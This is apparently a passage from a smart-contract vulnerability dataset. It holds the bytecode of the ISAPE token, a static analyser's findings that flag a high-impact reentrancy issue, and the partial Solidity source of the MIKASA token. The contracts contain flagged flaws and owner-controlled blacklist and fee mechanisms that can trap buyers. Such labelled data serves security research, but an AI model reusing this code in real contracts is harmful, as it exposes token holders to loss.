565b6112ad565b60405161046291906130a9565b60405180910390f35b34801561047757600080fd5b50610492600480360381019061048d91906129e2565b6112f6565b60405161049f91906130a9565b60405180910390f35b3480156104b457600080fd5b506104bd61137d565b005b60606040518060400160405280601281526020017f496e66696e697465205370616365204170650000000000000000000000000000815250905090565b6000610510610509611424565b848461142c565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105388484846115f7565b6105f984610544611424565b6105f4856040518060600160405280602881526020016137b960289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105aa611424565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca59092919063ffffffff16565b61142c565b600190509392505050565b61060c611424565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610699576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069090612fe9565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610705611424565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610792576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078990612fe9565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107f0611424565b73ffffffffffffffffffffffffffffffffffffffff161461081057600080fd5b600047905061081e81611d09565b50565b600061086b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e04565b9050919050565b61087a611424565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fe90612fe9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4953415045000000000000000000000000000000000000000000000000000000815250905090565b6000610a3f610a38611424565b84846115f7565b6001905092915050565b610a51611424565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ade576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad590612fe9565b60405180910390fd5b60005b8151811015610b9557600160076000848481518110610b29577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b8d906133bf565b915050610ae1565b5050565b610ba1611424565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2590612fe9565b60405180910390fd5b8060118190555050565b610c40611424565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ccd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc490612fe9565b60405180910390fd5b8060118190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d18611424565b73ffffffffffffffffffffffffffffffffffffffff1614610d3857600080fd5b6000610d4330610821565b9050610d4e81611e72565b50565b610d59611424565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddd90612fe9565b60405180910390fd5b601060149054906101000a900460ff1615610e36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2d90613069565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ec630600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061142c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f0c57600080fd5b505afa158015610f20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4491906129b9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fa657600080fd5b505afa158015610fba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fde91906129b9565b6040518363ffffffff1660e01b8152600401610ffb929190612e59565b602060405180830381600087803b15801561101557600080fd5b505af1158015611029573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104d91906129b9565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110d630610821565b6000806110e16109c5565b426040518863ffffffff1660e01b815260040161110396959493929190612eab565b6060604051808303818588803b15801561111c57600080fd5b505af1158015611130573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111559190612b65565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff02191690831515021790555067d02ab486cedc00006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611257929190612e82565b602060405180830381600087803b15801561127157600080fd5b505af1158015611285573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a99190612b13565b5050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611385611424565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611412576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140990612fe9565b60405180910390fd5b683635c9adc5dea00000601181905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561149c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149390613049565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561150c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150390612f89565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115ea91906130a9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611667576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165e90613029565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ce90612f49565b60405180910390fd5b6000811161171a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171190613009565b60405180910390fd5b6117238361216c565b6117f4576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156117c457504262015180600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c191906131df565b10155b156117de576002600b819055506010600c819055506117ef565b6001600b819055506008600c819055505b611892565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156118815742600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600b819055506008600c819055505b61189a6109c5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561190857506118d86109c5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c9557600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119b15750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ba57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a655750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611abb5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ad35750601060179054906101000a900460ff165b15611bdb5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611b2357600080fd5b601154811115611b3257600080fd5b60125481611b3f84610821565b611b4991906131df565b1115611b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8190613089565b60405180910390fd5b601e42611b9791906131df565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611be630610821565b9050601060159054906101000a900460ff16158015611c535750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6b5750601060169054906101000a900460ff165b15611c9357611c7981611e72565b60004790506000811115611c9157611c9047611d09565b5b505b505b611ca08383836121c6565b505050565b6000838311158290611ced576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce49190612f27565b60405180910390fd5b5060008385611cfc91906132c0565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d596002846121d690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d84573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611dd56002846121d690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e00573d6000803e3d6000fd5b5050565b6000600954821115611e4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4290612f69565b60405180910390fd5b6000611e55612220565b9050611e6a81846121d690919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ed0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611efe5781602001602082028036833780820191505090505b5090503081600081518110611f3c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fde57600080fd5b505afa158015611ff2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061201691906129b9565b81600181518110612050577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120b730600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461142c565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161211b9594939291906130c4565b600060405180830381600087803b15801561213557600080fd5b505af1158015612149573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6121d183838361224b565b505050565b600061221883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612416565b905092915050565b600080600061222d612479565b9150915061224481836121d690919063ffffffff16565b9250505090565b60008060008060008061225d876124db565b9550955095509550955095506122bb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061235085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061239c816125eb565b6123a684836126a8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161240391906130a9565b60405180910390a3505050505050505050565b6000808311829061245d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124549190612f27565b60405180910390fd5b506000838561246c9190613235565b9050809150509392505050565b600080600060095490506000683635c9adc5dea0000090506124af683635c9adc5dea000006009546121d690919063ffffffff16565b8210156124ce57600954683635c9adc5dea000009350935050506124d7565b81819350935050505b9091565b60008060008060008060008060006124f88a600b54600c546126e2565b9250925092506000612508612220565b9050600080600061251b8e878787612778565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061258583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ca5565b905092915050565b600080828461259c91906131df565b9050838110156125e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d890612fa9565b60405180910390fd5b8091505092915050565b60006125f5612220565b9050600061260c828461280190919063ffffffff16565b905061266081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126bd8260095461254390919063ffffffff16565b6009819055506126d881600a5461258d90919063ffffffff16565b600a819055505050565b60008060008061270e6064612700888a61280190919063ffffffff16565b6121d690919063ffffffff16565b90506000612738606461272a888b61280190919063ffffffff16565b6121d690919063ffffffff16565b9050600061276182612753858c61254390919063ffffffff16565b61254390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612791858961280190919063ffffffff16565b905060006127a8868961280190919063ffffffff16565b905060006127bf878961280190919063ffffffff16565b905060006127e8826127da858761254390919063ffffffff16565b61254390919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156128145760009050612876565b600082846128229190613266565b90508284826128319190613235565b14612871576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286890612fc9565b60405180910390fd5b809150505b92915050565b600061288f61288a8461315e565b613139565b905080838252602082019050828560208602820111156128ae57600080fd5b60005b858110156128de57816128c488826128e8565b8452602084019350602083019250506001810190506128b1565b5050509392505050565b6000813590506128f781613773565b92915050565b60008151905061290c81613773565b92915050565b600082601f83011261292357600080fd5b813561293384826020860161287c565b91505092915050565b60008135905061294b8161378a565b92915050565b6000815190506129608161378a565b92915050565b600081359050612975816137a1565b92915050565b60008151905061298a816137a1565b92915050565b6000602082840312156129a257600080fd5b60006129b0848285016128e8565b91505092915050565b6000602082840312156129cb57600080fd5b60006129d9848285016128fd565b91505092915050565b600080604083850312156129f557600080fd5b6000612a03858286016128e8565b9250506020612a14858286016128e8565b9150509250929050565b600080600060608486031215612a3357600080fd5b6000612a41868287016128e8565b9350506020612a52868287016128e8565b9250506040612a6386828701612966565b9150509250925092565b60008060408385031215612a8057600080fd5b6000612a8e858286016128e8565b9250506020612a9f85828601612966565b9150509250929050565b600060208284031215612abb57600080fd5b600082013567ffffffffffffffff811115612ad557600080fd5b612ae184828501612912565b91505092915050565b600060208284031215612afc57600080fd5b6000612b0a8482850161293c565b91505092915050565b600060208284031215612b2557600080fd5b6000612b3384828501612951565b91505092915050565b600060208284031215612b4e57600080fd5b6000612b5c84828501612966565b91505092915050565b600080600060608486031215612b7a57600080fd5b6000612b888682870161297b565b9350506020612b998682870161297b565b9250506040612baa8682870161297b565b9150509250925092565b6000612bc08383612bcc565b60208301905092915050565b612bd5816132f4565b82525050565b612be4816132f4565b82525050565b6000612bf58261319a565b612bff81856131bd565b9350612c0a8361318a565b8060005b83811015612c3b578151612c228882612bb4565b9750612c2d836131b0565b925050600181019050612c0e565b5085935050505092915050565b612c5181613306565b82525050565b612c6081613349565b82525050565b6000612c71826131a5565b612c7b81856131ce565b9350612c8b81856020860161335b565b612c9481613495565b840191505092915050565b6000612cac6023836131ce565b9150612cb7826134a6565b604082019050919050565b6000612ccf602a836131ce565b9150612cda826134f5565b604082019050919050565b6000612cf26022836131ce565b9150612cfd82613544565b604082019050919050565b6000612d15601b836131ce565b9150612d2082613593565b602082019050919050565b6000612d386021836131ce565b9150612d43826135bc565b604082019050919050565b6000612d5b6020836131ce565b9150612d668261360b565b602082019050919050565b6000612d7e6029836131ce565b9150612d8982613634565b604082019050919050565b6000612da16025836131ce565b9150612dac82613683565b604082019050919050565b6000612dc46024836131ce565b9150612dcf826136d2565b604082019050919050565b6000612de76017836131ce565b9150612df282613721565b602082019050919050565b6000612e0a6013836131ce565b9150612e158261374a565b602082019050919050565b612e2981613332565b82525050565b612e388161333c565b82525050565b6000602082019050612e536000830184612bdb565b92915050565b6000604082019050612e6e6000830185612bdb565b612e7b6020830184612bdb565b9392505050565b6000604082019050612e976000830185612bdb565b612ea46020830184612e20565b9392505050565b600060c082019050612ec06000830189612bdb565b612ecd6020830188612e20565b612eda6040830187612c57565b612ee76060830186612c57565b612ef46080830185612bdb565b612f0160a0830184612e20565b979650505050505050565b6000602082019050612f216000830184612c48565b92915050565b60006020820190508181036000830152612f418184612c66565b905092915050565b60006020820190508181036000830152612f6281612c9f565b9050919050565b60006020820190508181036000830152612f8281612cc2565b9050919050565b60006020820190508181036000830152612fa281612ce5565b9050919050565b60006020820190508181036000830152612fc281612d08565b9050919050565b60006020820190508181036000830152612fe281612d2b565b9050919050565b6000602082019050818103600083015261300281612d4e565b9050919050565b6000602082019050818103600083015261302281612d71565b9050919050565b6000602082019050818103600083015261304281612d94565b9050919050565b6000602082019050818103600083015261306281612db7565b9050919050565b6000602082019050818103600083015261308281612dda565b9050919050565b600060208201905081810360008301526130a281612dfd565b9050919050565b60006020820190506130be6000830184612e20565b92915050565b600060a0820190506130d96000830188612e20565b6130e66020830187612c57565b81810360408301526130f88186612bea565b90506131076060830185612bdb565b6131146080830184612e20565b9695505050505050565b60006020820190506131336000830184612e2f565b92915050565b6000613143613154565b905061314f828261338e565b919050565b6000604051905090565b600067ffffffffffffffff82111561317957613178613466565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131ea82613332565b91506131f583613332565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322a57613229613408565b5b828201905092915050565b600061324082613332565b915061324b83613332565b92508261325b5761325a613437565b5b828204905092915050565b600061327182613332565b915061327c83613332565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b5576132b4613408565b5b828202905092915050565b60006132cb82613332565b91506132d683613332565b9250828210156132e9576132e8613408565b5b828203905092915050565b60006132ff82613312565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061335482613332565b9050919050565b60005b8381101561337957808201518184015260208101905061335e565b83811115613388576000848401525b50505050565b61339782613495565b810181811067ffffffffffffffff821117156133b6576133b5613466565b5b80604052505050565b60006133ca82613332565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133fd576133fc613408565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b61377c816132f4565b811461378757600080fd5b50565b61379381613306565b811461379e57600080fd5b50565b6137aa81613332565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d90ab815f0c09c9b8be8c93328d58ae4a957cc37a57c97dc4d35ccdea6bcd6a564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,389 |
0x401e1a065fdde4ff9cdb94cddc99a7680b17a2a8
|
/**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
/**
MIKASA, the token that will slay titans. https://t.me/MikasainuETH
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MikasaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MIKASA";//
string private constant _symbol = "MIKASA";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 5;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 15;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xeaC1B803B17eBC713E2e9EF2130DCd723Ab99f1f);//
address payable private _marketingAddress = payable(0xb227512Aa5b905D42E025C83f29d9135176fa439);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 16000000000 * 10**9; //
uint256 public _maxWalletSize = 33000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
